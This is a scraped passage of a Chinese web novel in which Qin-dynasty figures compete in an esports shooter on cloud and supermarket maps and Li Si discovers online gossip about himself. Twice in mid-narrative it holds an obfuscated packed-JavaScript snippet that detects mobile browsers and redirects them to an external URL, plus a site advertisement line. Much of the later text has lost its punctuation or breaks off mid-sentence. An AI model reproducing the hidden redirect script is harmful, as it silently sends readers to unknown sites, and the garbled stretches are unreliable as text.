云朵承受重量的地方会根据时间慢慢变薄,但是没有人站的位置就不会变。也就是说,一朵云很有可能不同的区域厚薄不均。 有时候一不小心踩到很薄的地方,站不了两秒就会摔落下去。 手残队随机到这个地图会很惨。 韩信分享了一下他的经验: “臣那群NPC队友,每次都能精准踩坑,掉下去摔死。” 云朵本身不是平整的地形,有高有低的。所以走路的时候很难看清楚脚下,何况这也没办法看清。 想知道厚薄,得从侧面看,低头从上往下看怎么看得到端倪? 韩信只知道,5秒内会消失的云朵区域,如果低头的话是可以隐约看到下面的城池的。 这要不是一个枪战游戏,大家肯定很乐意只踩云朵凸起来的位置。那里绝对比一般位置更厚,天然就厚得多,可以支撑很久。 可惜,枪战游戏没事不能站太高。 站在云端等于活靶子,别人不打你打谁?又不是狙击手,何况狙击手也是趴在高处躲藏着的。 准备时,扶苏在原地踩了踩: “这个感觉不太像棉花。” 有点像那种硬度较高的海绵床垫,走在上面会微微下陷,但不多,不影响跑动。 韩信耿直地说: “像棉花的话不好 走路吧? 踩下去得东倒西歪了。 扶苏蹲下身去抓了一把,发现抓不起来。 之前队内练习赛只有一种单一地图,赛事用图并不开放。正常电竞可不会这样,电竞选手需要非常熟悉赛事用途的。 可见应是考场希望通过这个方式,让大家多打出一些临场发挥来。 研究透了地图,固然能出现精彩的操作。但在陌生的图里摸索,也不失为一种乐趣。 尤其是云端这个复杂地图。 比赛刚一开始,扶苏就试图跳上一朵云,躲在云上偷偷接近敌人。 没想到这个云之前看起来是慢悠悠的,一有人靠近就立刻加速。 幸好扶苏不是在大云朵的边缘往上跳的,失败落地后还在云上,不然就要因为摔死怒送一血了。 扶苏郁闷地站稳: “忘了还有这种云了。 他以前玩马里奥那种小游戏,其实见识过类似的操作。但轮到自己真人上场的时候,总会不小心遗忘。 好在,不止扶苏一个人这样。 对面狙击手也想跳上一朵云,结果狙击手比他还倒霉。她要跳的云不是往前飞的,是遇到人往上飞的。 狙击手一头撞云上了,被撞得落地后还后退了两步。不仅如此,捂着脸缓了一下才缓过神来。 韩信已经一枪狙过去了。 对方大惊,赶紧躲闪,倒是没有被命中。不过她本来就站在云朵边缘,被撞得后退两下,又为了躲避忘记了之前自己改变过站位,直接摔了下去。 现在怒送一血的变成了敌方。 对面四人似乎有些无语。 但是观众看得很欢乐,对这个地图产生了极大的好感。弹幕一片都在催促大家赶紧上云,他们还想见识一下更多的云朵骚操作。 扶苏试了几次,终于跳上了一朵云。不过他很快又跳下来了,因为所有人都盯着天上的云,这个时候跳上去纯属自讨苦吃。 方才他尝试的时候,对面就蠢蠢欲动想要瞄准他。要不是他走位飘忽,现在已经被击中了。 天生的飞云不大,一旦被人目睹他跳上去,别人就可以盯着云朵射击。 这么干当然不是为了把云打散。 而是—— 蒙毅一枪击中了飞过来的某片云,躲在上头的人顿时被击中,扣了一半的血条。 是的,这些云是可以穿透的。 蒙毅又补了一枪,成功收下这个人头。 扶苏算了一下距离,指了指一个方向。他示意韩信从这里往前射,看看能不能射中敌方。 只有狙击枪可以穿透云层射那么远。 韩信毫不犹豫一枪打出。 战场跳出击杀提示: 【[B13-韩信]击杀了[B2-林恩·斯顿]。】 韩信惊呆了: “殿下,你算得这么准的?” 扶苏又指了一个方向: “打这儿试试,他们应该已经改变位置了。但是前面可以躲藏的云层凸起不多,横向翻滚的话,大概率有人会翻到这边。”】 他刚刚观察过了,没有人冒头。而在不冒头的情况下要平移躲避,可以躲避的范围十分有限。 韩信立刻调转枪头,又一击射出。 这次没有击杀,但是造成了掉血伤害。不过对面有医疗,医疗可以用急救箱加血。 急救箱的加血和复活都有冷却时间,却没有次数的限制。有些时候可以利用无尽复活来消耗敌人的弹药,这是个比较容易让敌人上当的隐秘战术。 扶苏叮嘱: “往左边偏移一点,再打一枪。” 系统提示,韩信打伤了对面医疗,医疗挂上减速效果。 好机会! 医疗减速了,就很容易掉队。 他们趁机跃起,扑向前方敌对目标所在的位置。蒙恬一马当先冲锋扫射,也不管能不能扫到人,先压制再说。 密集的枪林弹雨让对面下意识躲避,本来不躲还不会发现位置,一躲就很明显了。 扶苏跃上云朵,一脚把上头的敌人尸体踢下去。顺手瞄准,击杀了下方一名输出。 输出只来得及回一枪,却射偏了只伤到扶苏的手臂,没能将人击杀。 还剩的两个人里一个没有攻击能力,另一个双拳难敌四手。哪怕奋力反抗杀了两个人,也无济于事。 第一局结束。 B2小队反思了一下: “我们都分不清哪些云能用,而且跳上云很容易被人发现。这个高位 狙击的战术不好用,不如学一学对面,隔着云层盲狙。 狙击手:“……你们认真的吗? 是什么给了她的队友自信,她能隔着云层盲狙狙中目标?她可没有透视外挂和锁头外挂。 队长百思不得其解: “B16是不是换人了?怎么突然变得这么厉害? “可能吧,转会期的三天我们也没余力去关注,哪里清楚。 小局间只有一分钟的休息。 三人两AI还没商量好对策,已经开始第二局了。 韩信兴致勃勃地问: “殿下,这次打哪儿? 扶苏说不着急,等他观察一下对方的位置,再进行计算。 蒙恬正要冒头观察一下。 前面突然哒哒哒疯狂向前方扫射,蒙恬立刻低头。但是很快他就发现距离太远,冲锋枪打不到他。 蒙恬:…… 大意了,被骗了。 躲避的这会儿对面已经突进了一长串距离,扶苏最后抬头看了一眼,立刻指点韩信射击角度。 韩信万分信任太子殿下,一枪打了过去。 这次却没打中人。 韩信有些疑惑。 秦政已经丢下一声“上 韩信这才发现,他虽然没打中人,却惊吓到了对面。对面赶紧避让,冲锋枪因此暂停了横扫。 蒙恬抓住这个机会反打,冲锋枪的扫射声再次传来。但攻守之势异也,局面已经从我方被迫防守变成了敌方不断退让。 对面的指挥咬牙: “不管他们,继续拼枪!狙击,能确定对面狙击手的位置吗? 韩信的射击其实暴露了他的位置。 狙击手立刻架枪射过去。 可韩信早就养成打一枪换一个地方的习惯,根本不在原地。倒是扶苏躲在云后,趁着狙击寻找韩信的时间飞快算出了射击的角度。 韩信得到消息,立刻一枪狙过去。 狙击躲闪不及被爆头,好在她的队友很快反应过来,在韩信没来得及挪位之前将韩信收走了。 蒙毅立刻去复活队友。 我方和敌方相比,有一大优势就是三个人还藏在云层后头。所以我方医疗能偷偷救人 ,而对面医疗却得顶着防弹盾出手。 扶苏从云朵边缘绕过去,趁着中心交战区火拼激烈,绕后切了过去。防弹盾只能防住一侧的攻击,扶苏轻易从另一侧击穿了医疗脑袋。 输出赶紧调转枪头去击杀扶苏,带走扶苏的同时也被蒙恬扫成了残血。秦政一枪一个,把他和坦克淘汰了。 最后的侦察无力回天,第二局胜。 又输了一局,B2队伍有些泄气。不过他们并不打算就此放弃,毕竟车轮战获胜之后,可以积两分,将之前的负分给抵消。 所以他们强打起精神商议: “下一局带点烟雾弹?” 云顶上其实也没有太多的障碍物,云层的凸起太矮了,不是特别方便掩藏身形。 正常情况下,选手们会选择在凸起的范围里移动。大部分敌人计算能力没有那么强,无法预测他们会挪到哪个位置。 没想到这次遇到个扶苏,几乎次次都精准算到位置。 唯一一次没算到,还是人家本就没打算借此攻击到人。只准备吓唬一下,让B2的坦克暂时放弃冲锋枪扫射。 B2全队商量过后,认为克制扶苏的计算流打法的唯一办法,应该就是用烟雾弹做掩护。 云巅地图不让用手榴弹,不然炸云一炸一个准。但是烟雾弹是可以用的,因为没有杀伤性。 B2很快提交携带枪械,出现了三人都带烟雾弹的情况。一共15枚,卡着上限地带。 无独有偶,大秦也带了烟雾弹。 装备公示一出来——B2携带15枚烟雾弹,B16携带15枚烟雾弹。 弹幕看傻了都: 「好好好!这一局是瞎子局!」 「我的天呐30颗烟雾弹,你们是要把云巅地图打成迷雾地图吗?」 「让我们来开个赌局,大家觉得谁会是第一个因为看不见路掉下去摔死的倒霉蛋?」 「我赌一个太子殿下」 「我赌两个太子殿下」 「我就不一样了,我赌一个被太子无辜波及的蒙卿」 看来太子殿下的人设已经深入人心了,大家跟了这么多天直播,或多或少都发现了小太子在阿父跟前有点粗心,很容易翻车。 扶苏抛了抛烟雾弹。 这次没有像抛果子一样差点砸脑袋上,准头好了不少,可见这些天的训练还是很有成果的。 秦政看一眼儿子: “又打什么坏主意呢? 带15枚烟雾弹是扶苏提议的,当时说的是可以掩护大家跳上漂浮的飞云。不过现在看到对面也带了烟雾弹,扶苏明显起了别的心思。 扶苏狡黠地笑笑: “阿父难道猜不到吗? 秦政含笑看了他一眼: “就你鬼点子多。 韩信听得云里雾里: “殿下到底准备做什么?能不能提前透露一下?臣等也好配合。 扶苏微微挑眉: “也没什么,就是觉得云朵的变薄机制很不错。 之前的两局,他们都是速战速决,而且一直在变换位置,倒是没有碰到云朵彻底消失掉落的情况。 但现在车轮战模式,拿满30个人头之前地图不会刷新,就肯定会有部分云朵出现空洞。 这是个好机会。 不知道B2的考生能不能精准规避那些空洞,即便他们可以,扶苏也能创造条件让他们无法规避。 扶苏让蒙恬蒙毅拿上烟雾弹,跟他走。父亲和韩信就组成一队,负责精准点杀敌人,他们三个冲去前排干坏事。 蒙恬听了扶苏的计划后点点头,表示具体执行交给他就好。太子负责提供计划,他负责指挥调度,将计划实现。 于是刚一开战,敌对方就扔下一枚烟雾弹在前方。而后试图借着烟雾弹的掩护分散开,躲藏到不同的云朵后头。 蒙恬根本不给他们机会,直接跳下云层死亡,然后选择对方阵营的出生点复活。 于是他眨眼间刷新在了众人身后。 因为对方五人已经开始四散了,而复活点在云层边缘,无论往哪里散都肯定是背对着复活点的。 蒙恬果断挑选人多的一个方向开始扫射,将他们扫成残血。 听到后头有动静,五人诧异回头。 他们没想到有人会开局自杀,靠着这一招绕后。这也太骚了,不仅他们没想到,弹幕里的观众也看傻了眼。 「大恬恬你行动力好强……」 「眨眼间己方指挥就自杀了,我真是头一次见。」 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080691|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>「可以,不愧是凶残的大秦人」 五人回头来围攻蒙恬,蒙恬扫射时也不忘走位躲避子弹。只要不被精准点射的子弹命中,他就可以多撑一会儿。 冲锋枪可以大范围扫射,当然也可以对着一个人扫射。只要精确控制好枪械的抖动幅度,就可以将射出去的每一发子弹都限制在比较小的范围。 所以他将三人团射成半血以下后,就果断更换目标,去射另外两个。 他们的走位显然不如蒙恬。 大部分人说是无规则走位,其实还是有规律的。只要有规律,就能预判,只是很多人无法及时发现规律罢了。 这对蒙恬来说没有难度。 很快,蒙恬打空第一个弹匣,却也将敌人全部换成残血。他装卸弹匣的时机被敌人抓住,倒在了原地。 但是紧接着,扶苏也自杀出现在了这里。 可能是终于干掉了蒙恬,让他们松懈了一下。扶苏出现后几人愣了一瞬,没能及时躲开他接连射出的两枪。 输出和侦察瞬间就被干掉了。 这两个的近战单杀能力比较强,狙击需要再拉开一点距离才好架枪,医疗没带攻击性武器,坦克的冲锋枪威力一般没威胁。 没了两个能够直接射杀扶苏的劲敌,他便可以稍微松一口气了。后续再精准地射出三枪,将敌方打了一波团灭。 此时蒙毅已经赶到了东边的复活点附近掩藏身形,蒙恬复活在西边,扶苏这里是南边,秦政则留在北边出生点周围。韩信躲到中间,方便随时支援任何一个方向。 大家都藏在云后。 B2的指挥下令分散,让狙击手去北边复活。 他认为大秦队员肯定不会留在出生点,避免和B2一样被从后突袭。所以那边很安全,也适合狙击手放冷枪。 指挥说: “他们估计会跑到距离北复活点比较远的位置,狙击你复活后立刻锁定敌人开枪。狙击射程远,他们不一定能防备到。” 如果是他们队伍,走远了自觉已经离开敌方近战的攻击范围,就不会特别防备身后了。 关键防备不过来,没有哪个位置是能前后左右都有障碍物遮挡的,能照顾到两三个方位就已经不错了。 他们顶多时不时 回头看一眼狙击在不在,然后及时找掩体躲避。所以指挥要求狙击第一时间开枪,就是要打时间差。 狙击领命,点下北方复活。 指挥又下令道: “剩下的四个人,侦察西边复活,其他三个东边复活。我们3-1-1分开行走,不要五人集体抱团,免得又被打一波团灭。” 众人:“明白!” 北边,狙击一复活没看见人,做好的攻击准备白做了。秦政却是早就躲在了周围紧盯传送阵,见只有一人出现,便毫不客气地一发子弹送他上天。 狙击再次阵亡。 西边,蒙恬发现有人刷新出来,当即跳出躲藏地,对着复活点进行扫射。侦察立刻走位躲避,靠着负重轻成功拉开了距离,却也只剩下了半血。 好在侦察到底是甩开了蒙恬,蒙恬超出攻击距离,倒也没有继续追击。他在队伍里喊了一声韩信,韩信果断开枪击杀。 东边,三人小团同时复活。蒙毅冒头丢了一发烟雾弹过去,精准落在几人中间。 那几人原本看见蒙毅出现还很惊喜。 因为这是敌队的医疗,而且蒙毅这局没带枪,对他们来说不存在威胁。他们要是抓住机会攻击,这就是送上门的人头了。 然而一发烟雾弹炸开,三人瞬间失去视野。蒙毅肯定不会在原地等死,找不到对方的实时位置,只能遗憾作罢。 考虑到蒙毅不能攻击自己,三人决定先不轻举妄动,就在原地站着。 复活点的位置太靠近云朵边缘了,一不小心就会摔下去,千万不能乱走。 指挥提醒道: “等烟雾散去,医疗肯定已经把队友叫来支应了。我们要做好反打的准备,反应速度千万不能慢了。” 大家严阵以待。 然而烟雾散去后,坦克瞬间开启扫射攻击前方的“敌人们”,才发现压根没有援军跑来。 蒙毅换了个位置,又冒头丢了一发烟雾弹出来。 三人:…… 指挥反应过来: “他的队友离得太远了,烟雾弹持续的时间不够长,所以他还需要再丢一发烟雾弹帮队友拖延时间。” 坦克只好继续严阵以待。 第二次烟雾散去,他再次疯狂扫射。结果这 回还是没有看到敌方人群,弄得三人一头雾水。 总不能这么长时间还没赶来吧? 指挥皱起眉,正想说什么,忽然灵光一闪。 “他这不会是在消耗坦克的弹药吧?刚刚坦克空打了两轮,已经打完了半个弹匣了。” 坦克无语住了: “这也太狡猾了吧?” 他正想说要不然等下回烟雾散去就不攻击了,他都上了两回当了,不想再来第三回。 没等开口,烟雾已经散去。 坦克遵从本心,这次没有动。 他没听过狼来了的故事,不知道第三次很有可能是真的会出现敌军。于是这一手迟疑,给了蒙毅等人输出的机会。 这次迎接三人的是漫天的子弹。 指挥骂了一声脏话: “这次居然来了!赶紧反击!” 可这个时候反击已经晚了。 三人郁闷地再次选择复活点,考虑到刚刚看到四个人合围他们,所以其他复活点应该比较安全,就随便选了最远的西边复活。 西边没有危险,三人安全离开。 但是他们不知道的是,狙击手已经经历三杀了。三杀后没听到指挥让他去哪里复活,刚才问的时候指挥随口回了一句自己还在东边。 当时三人还没死,狙击手于是按下东边复活,想支援一波队友。没想到他刚复活,队友就挂了,剩下他一个孤零零站在那里,很尴尬。 狙击手:…… 秦人:…… 秦政果断举枪攻击,狙击手赶紧躲避。然后一脚踩到薄弱的云层上,瞬间掉了下去。 蒙毅之前的三轮烟雾弹,让那几人全程就没怎么挪动位置。所以三轮时间结束,他们站过的地方就差不多成湖上的薄冰区了。 蒙毅还有些遗憾: “本来是想把那三人坑得掉下去的。” 可惜云层厚了点没成功。 扶苏缺德的说: “没关系,我来之前在南边的复活点踩了半天,那边的云都薄了一层。” 蒙毅:…… 难怪殿下你拖到第三轮才来支援。 蒙恬指挥道: “他们应该复活去了最远的东边,我们往东走。阿毅,遇到B2队伍你就丢烟 第 213 章 化敌为友 考场外。 李斯最近总觉得周围人看他的眼神怪怪的。 尤其是王绾。 王绾今天又来找他下棋了: “李相公最近日子过得如何?” 李斯皮笑肉不笑: “比不得王相公春风得意。” 王绾只是笑了笑,没有和他继续打嘴仗。下完两局棋就溜溜达达走了外表看起来是个中年人行为已经越发趋近于老大爷化。 李斯扭头就去找蒙毅了,想问问什么情况。结果找了一圈没找着不知道人去了哪里。 李斯便问警卫员: “蒙相公呢?” 当过丞相的蒙毅自然可以称一声相公,不过警卫员有点不太习惯,大家都是喊蒙上卿的。 他愣了一下,才反应过来李斯问的是谁。有些意外李斯居然不知道这么出名的事情但还是老老实实回答,说蒙卿被定西侯拉去考场帮忙了。 李斯回忆了一下定西侯是哪个。 退休早的老丞相是这样的,对新生代的新封号不是特别了解。回忆完确定是韩信韩信是封彻侯的时候封号才改成定西的,不过那会儿他都死了。 李斯疑惑: “他们二位关系很好吗?” 警卫员满头问号: “您问我?” 你不是同一时期的本朝人吗?他一个两千多年后的,哪里知道这些啊! 不过警卫员对于李斯和蒙毅关系居然还行这一点,也表示了震惊。 历史书上都写李斯把蒙毅下狱了准备处死。结果太子反攻咸阳速度太快,及时救下了蒙毅。 怎么看这两位都不该关系和睦才对吧?! 可惜警卫员没有把他的想法问出来,李斯自然也猜不到他在想什么,便不会出言解释。 第一,他没有和蒙毅关系和睦。 大家就是普通的同僚罢了,偶尔还会政见不合,只不过没什么生死大仇。 第二他来找蒙毅不代表他们关系好。 纯粹就是因为蒙毅好说话,而且蒙毅知道的消息多。找他问一问,不仅可以解惑,还不会遭到旁人故意误导。 第三,他没干过害蒙毅的事情。 背地里许愿让陛下把蒙毅调去太子身边接受 小说更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 太子的荼毒不算。这是为了转移太子的视线这样太子就只会欺负蒙毅没空来欺负他了。 属于自救行为。 现在没找到蒙毅李斯想了想决定再去问问蒙恬。 只是转身准备走时突然反应过来: “蒙恬将军不会也被定西侯叫走了吧?” 警卫员点头: “还有始皇帝和太子。” 李斯:?! 李斯大惊: “他们怎么能背着老夫单独和陛下相处!” 可恶这么大的事情都没有人通知他一下。一定是那群老家伙嫉妒他最受陛下看重故意瞒着他。 警卫员一言难尽: “您平日里不看直播的吗?” 这件事网上不早就传遍了? 李斯确实不看他不是那种时髦喜欢冲浪的老人家。李斯的日常喜好还是和以前一样的朴实无华下下棋看看书溜溜狗研究研究国家政策。 后者一般是通过报纸杂志钻研的他们现在居住在华夏特意给他们安排的地方。每天会提供一些新鲜东西比如每日份的新报纸。 但凡里头混入了娱乐小报 李斯:…… 不他可感兴趣了! 李斯回去就把儿子李由抓了来让他给自己说说陛下最近的事情。 李由还以为他爹早就知道了: “父亲平日里不上网吗?” 李斯皱了皱眉: “网上那些人说话看不懂。” 不幸的老丞相误入了一个娱乐圈专属论坛里头全是各种缩写代称和专有名词。别说他了现代人来了也不一定能看明白。 李由只好手把手教他爹上网。 好在李斯只是心态老大爷思维还是很灵活的智商也在线。没用多久他就掌握了这个技能然后发现和上地府的网区别也不是很大。 李斯眉眼舒展了一下: “原来这里的网民也和地府里的差不多。” 他还以为网上都是那个论坛的画风。 感慨完李斯问道: “老大你可知道王绾最近又在神神 叨叨的折腾什么? 李由想了想他爹和王绾这对老冤家的关系,猜测王绾估计又去找他爹阴阳怪气了。 至于具体是在阴阳怪气什么…… 李由默默搜索了一下李斯词条: “父亲您自己看吧。 李斯接过平板。 李由飞速离开了这片是非之地,还没走出去多远,果不其然就听见他爹气得砸了杯子。 然而屋内的杯子是塑料仿陶瓷的,根本砸不坏。砸坏了还好,砸不坏就更让人生气了。 李由冲李府的警卫员点了点头: “我出去一趟,父亲找我就说我晚间再回来。 警卫员不疑有他: “好的,李郡守。 李斯气冲冲地出来: “李由那臭小子人呢?居然瞒了我这么多事! 陛下的动向不告诉他,网上都在骂他也不告诉他。最可气的是,李由这家伙都开通了微博账号,结果从来没想过在上头帮他亲爹澄清一句。 之前他直播的时候,弹幕里好多人以为他是历史上那个给太子下毒的李斯,铺天盖地都是骂。 不孝子!看到亲爹挨骂无动于衷! 警卫员:…… 警卫员思考了一下李斯当街揍儿子被路人拍摄发到网上去后,会引发什么舆论轰动,最后还是委婉地把人劝住了。 其实认识李由的人不是很多,之前李由直播的时候,也没什么人关注他。大家还以为李由就是寻常考生,不然李由早就被一起骂了。 毕竟这个位面可没有李由为大秦战死的事情发生,只有李由受父亲牵连丢官的结局。 警卫员最近和李由相处得不错,觉得属实没必要让李斯把他儿子拖下水,父子俩双双热搜出道。 李斯冷着脸回屋去了,打开直播间准备关注一下陛下最近都在做什么。 现在澄清是没有用的。 李斯是个聪明人,他很清楚要怎么做才能扭转自己的风评。 自己跳出来只会引起群嘲,只有想办法和陛下或者太子一起直播一回,然后趁机说清楚,才能叫那些人相信。 不过在此之前,还得问问两位君上是什么想法。倘若二位并不想暴露他们来自平行位面的事情,那这口黑锅就 要他李斯一直背着了。 李斯微微皱眉。 很快又松开了眉头。 不要紧陛下知道他的委屈就行。只要陛下不厌弃他一切都好说那些外人的想法有什么重要的? 李斯想了想给王绾发了条消息: 「听闻网友们都没发现王相公便是史书记载的丞相王绾 王绾:…… 看来李斯终于知道外界风向了。 王绾咬着牙回复: 「这倒没什么至少老夫的直播间一片和平见不到吵架骂人的。」 李斯不痛不痒地继续回怼: 「说起来老弟我去网上搜了一遍似乎不少后世人都不知大秦还有一位王丞相。」 李斯补刀: 「怎会如此?在本位面里王兄不才是大一统后的首位丞相吗?听闻帝号都是王兄领我等拟定的结果后世只记得我一人了。」 李斯继续补刀: 「唉说来惭愧许多人都误以为陛下一朝只有我一名丞相。这可怎么好意思这般置你和冯兄于何地?」 王绾:………… 王绾被扎爆了心。 最可气的是梓桑位面里大一统的时候和这里情况不同。那个时候李斯确实是第一丞相虽然还有个冯去疾一起但完全盖不过李斯的风头。 好不容易在其他位面先李斯保住了相位吧也没什么用。那些人提起秦臣就知道个李斯、蒙氏兄弟、王翦祖孙其他人都被忽略了。 王绾冷笑一声扭头就把最后一条消息截图发给冯去疾了。 让你嘚瑟。 冯去疾:「……无聊。」 冯去疾对这种争执没有任何兴趣李斯爱嘚瑟就让他嘚瑟去他那破毛病不都是陛下和太子宠出来的? 李斯心情大好地打开直播间。 直播间里正在播放大秦五人队对战S组强敌。 A组和S组的组内循环早就打完了现在在打总决赛。 B16队以全胜战绩排名常规赛第一顺利晋级季后赛。其间除了和S组对战时有几局因为太浪和配合失误丢了擂台战的小比分外其他一切都很顺利。 虽然小比分输了导致积分被扣 。但大比分还是拿到手了的,所以才说是全胜,也就是有几场2:1的意思。 但常规赛的比分其实也没那么重要,只要能晋级季后赛就行。 现在,季后赛打到了冠亚之争。 开打直播前,李斯想的是韩信怎么回事,为什么只叫蒙家兄弟不叫他。 打开直播后,李斯心想还好没叫他,不然他又要因为拖累队伍拿不到冠军被网暴了。 算了,还是他下回自己召唤陛下吧。 为了拿冠军,父子俩在电竞考场里待足了剩余时间。 这大概是他们两个头一回在里头待这么久,以前都是速战速决的。然而考试赛程规定死了,无法提前,不然他们还真想提前把所有比赛都打了。 最后一场总决赛,擂台赛不再是三局两胜,而是变成了五局三胜。车轮战也从30个人头增长到了50个,拉长了一局的时长。 不过不要求两个都打,而是打两到三场。具体看前面的比分是2:0还是1:1平。 前两场双方各自进行选择,可以选擂台也可以选车轮。两方选一样的也行,反正轮到自己选择的时候自由度还是很高的。 只是地图无法选择,依然随机。 如果平局进入第三场,那么比赛模式和地图都会由系统随机生成。 先决定先后手。 队长秦政上去抽签,不出意外抽到了先手。他提交第一场的模式——擂台战,系统很快随机了一张地图出来。 这是一张比较复杂的大型图,平安超市。 这种地图非常适合躲藏。 如果队伍里的人单兵作战能力都十分一流的话,完全可以不带医疗。五个输出型的选手分散到各地,藏在合适的位置,抓住时机偷袭对手。 大秦第一局走的就是这个路线。 五人默契地分散开,各自寻找地方藏匿。人高马大的秦政和蒙氏兄弟躲起来稍微麻烦一些,身形修长的扶苏和韩信则轻易便能找到合适的位置。 幸而他们已经遇到过这张图好几次了,早就看好了藏匿地点。 韩信躲在两个立式保鲜柜的夹角。 它们形成了九十度,但为了方便拿取保鲜柜里的酸奶等商品,玻璃展示区并未互相遮挡。 于是 夹角就出现了一个现成的正方形区域,正好可以藏一人。 背面的墙壁也不是真正的墙壁,而是薄薄一层木板。 超市会用这个来分隔区域,在内部宽阔无墙壁的大厅里靠木板和货架强行弄出了一堆S型的弯道。 这样一来,顾客就必须把所有货架区都转一遍,或许就会在这途中看见一些原本没想起来要买的商品。 这算是一种增加销售额的小手段。 保鲜柜后的木板稍微短了一截,恰好方便韩信躲到这个夹角里。他打算从保鲜柜缝隙朝外狙击,一旦被发现还能自木板后头逃跑。 敌人会被保险柜遮挡,无法追过来,给他逃走的机会。 一开局,两个队伍分别刷新在入口和出口。大秦在入口刷新,敌方小队则在出口刷新。 和大秦的四散不同,敌方以五人抱团行动的方式,谨慎地从出口收银台走进来。 韩信用最快的速度翻跃货架躲进这个风水宝地,全程没有发出太大的声音。敌方虽然听见了动静,可他们在这里其实很难精准定位声音的来处。 五人队警惕了一下,但还是没有更改行动策略。 他们顺着最边角的收银台走进来,要往入口区前进,就得一路向前。路过冷冻面点的冰柜区,往饮料酒水区走。 他们前进得不算快。 韩信成功窜到目的地时,他们还没彻底走进饮料区。他这个位置算是在面点区的角落了,从这里可以看到敌人背影。 韩信悄悄把狙击枪取出来。 这里之所以会是极好的狙击点,就是因为冷冻面点的冰柜是躺式冰柜,高度只到人腰侧。不像那些高大的货架,会彻底遮挡视线。 不然敌人走那么远,韩信就算射程再远也打不到人,都被货架遮没了。 更妙的是,从另一侧木板的缝隙攻击敌人的话,也是一片平坦的矮货架。因为这里是散称五谷区,同样没有高大货架。 韩信不动声色地瞄准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080692|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了走在最后的医疗,嘭地一下扣动扳机,医疗应声而倒。 敌方很快回头,却什么都没看见。 韩信打完枪就立刻把伸出去的枪口缩回来了,他这个位置黑黢黢的,难以分辨。 不过敌人从子弹的射击角度倒是迅速锁定了 方向敌方狙击当即就朝着那狭小的缝隙射了一枪。 这么小的缝她居然还能射进来而没有误伤旁边的玻璃展柜。幸而韩信早就下蹲了靠着保鲜柜底部的遮挡保护自己。 保鲜柜只在上半部分存在缝隙下半部分是两两贴合的。敌方的子弹射进来自然是直直朝前飞反正打不中蹲着的他。 躲开一击后韩信也是艺高人胆大。 他居然没有立刻换地方而是很莽地又架枪往外射了一发。这次击杀了狙击并试图趁着敌方没有狙击再多拿几个头。 然而敌方剩余三人已经直接躲进饮料货柜后头了韩信只好遗憾放弃。他没再恋战飞快从这里撤退更换新的位置。 蒙恬找到了超市仓库仓库门没有上锁所以他直接躲了进去。他打开了一条小缝对准外面随时准备开枪。 仓库在米面油货架区的边缘位置不是特别好 不过一旦听到了敌人经过并远离的动静蒙恬就可以悄悄跟过去从背后发动偷袭。 然而不幸的是敌方似乎也知道仓库的位置靠近后有预谋地躲开了蒙恬的攻击。三人包抄过来决定以人数优势击杀蒙恬。 蒙恬并不惊慌。 他这局也带了冲锋枪就是做的两手准备。要是有机会能单杀敌人他就切出手枪没有就一直使用冲锋枪。 现在就是冲锋枪扫射压低血线的好机会。 蒙恬趁势跳出来横扫。 敌方走位非常优秀这一波并没有把所有人都打成残血只打出了三个半血。但也足够了蒙恬相当于一条命换了一点五条命。 三人迅速解决掉蒙恬。 发现蒙恬单打独斗没有队友配合之后敏锐意识到仓库里没有其他人。所以他们三个放心地离开了转身去搜寻剩余区域。 却没发现等确认他们走远后仓库深处两个纸箱依次从里打开有两人钻了出来。 蒙毅卡着最后的时限把哥哥复活。 扶苏来到门口观察敌方去向。 三人很快准备好从后跟上前方三位。走在最后的输出敏锐地回头但三人跟随时也不忘躲藏并未露出马脚。 跟踪敌人蒙恬是专业的。 军队里会培养这类士兵蒙恬自然也懂一些。他把诀窍教给了队友所以三人都不可能被寻常考生抓住。 三人在频道内商量: “我打侦察?” 秦政听到了动静看了一眼队友的位置。见他们三人抱团移动移动速度还这么慢就知道是在跟踪别人了。 略一沉吟他果断一枪射向某处吸引了潜在敌人的注意力。 秦政猜测敌人的小分队应该就在附近。扶苏他们要出手偷袭他自然得为儿子和臣子打掩护。 有了秦政的枪声指引敌方小队果然下意识去搜寻开枪者。 往那里走了两步突然意识到不对: “我们队伍就剩三人了都在这里那对面突然开枪是为了什么?!” 总不能是擦枪走火 但现在察觉已经晚了。 扶苏三人早已瞄准一人一枪整整齐齐地送他们出局。 第一局完胜。 第二局双方更换了刷新位置秦人刷在出口收银台敌方刷在入口自动扶梯。 这局秦人不打躲猫猫。 同样的套路来两次很容易翻车五人干脆就在出口等待。 他们坐在冰柜后面掩盖身形而他们挑选的冰柜恰是最外围的只有左右上三个方向可能有敌人接近。 韩信趴在冰柜后方借着冰柜上竖起的“速冻水饺”小牌子掩盖自己的半个脑袋耐心架枪等待。 蒙毅和扶苏一左一右从两侧戒备有人过来。 不过他们不能在同一个地方久待会被判定挂机。所以时不时还要更换一下位置借此糊弄系统。 慢慢的就从最外围的冰柜换到了最内围的只和饮料货架隔着一个走廊的距离。 已经过去了五分钟根本没有人过来。 扶苏吐槽道: “他们不会这一轮玩我们上轮的躲猫猫战术吧?要是我们双方一直不碰面这局可怎么算?” 秦政示意他稍安勿躁: “他们之前前进得就很慢这次估计会更加谨慎。” 果然又等了三分钟敌人终于谨慎地进入了饮料区。 